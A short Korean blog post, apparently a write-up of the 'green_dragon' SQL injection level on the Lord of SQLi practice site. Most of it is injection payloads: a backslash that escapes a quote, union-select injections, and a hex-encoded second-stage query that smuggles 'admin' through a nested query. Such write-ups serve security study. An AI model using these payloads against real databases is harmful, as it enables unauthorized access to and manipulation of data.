문제
https://los.rubiya.kr/chall/green_dragon_74d944f888fd3f9cf76e4e230e78c45b.php
문제풀이
select id,pw from prob_green_dragon where id='\' and pw='or 1=1%23'
백슬래시를 이용해 따옴표를 문자처리하고, 그 뒤 문장을 참으로 만들어준다.
올바른 구문이지만 결과가 나오지 않는다.
선택된 id, pw가 없기 때문에 union 구문을 이용해야 한다.
select id,pw from prob_green_dragon where id='\' and pw='union select 1,2%23'
선택된 id, pw가 없기 때문에 union 구문을 이용해야 한다.
union select 1,2 구문의 1,2가 각각 두번째 쿼리의 id, pw에 들어간다.
이를 이용하여 쿼리를 조작할 수 있다.
select id,pw from prob_green_dragon where id='\' and pw='union select \,union select 0x61646D696E # %23'
select id from prob_green_dragon where id='\' and pw='union select 0x61646D696E #'
query1에서 union, select와 같은 문자열이 해석되어, query2에서 인식되지 않는다.
그렇기 때문에 query2에서 인식될 수 있도록 hex 값으로 변경해주어야 한다.
\ = 0x5C
union select 0x61646D696E # = 0x756e696f6e2073656c6563742030783631363436443639364523
'write-up(web) > los' 카테고리의 다른 글
[LOS] blue_dragon (0) | 2023.11.03 |
---|---|
[LOS] red_dragon (0) | 2023.01.28 |
[LOS] evil_wizard (0) | 2023.01.25 |
[LOS] hell_fire (0) | 2023.01.25 |
[LOS] dark_eyes (0) | 2023.01.24 |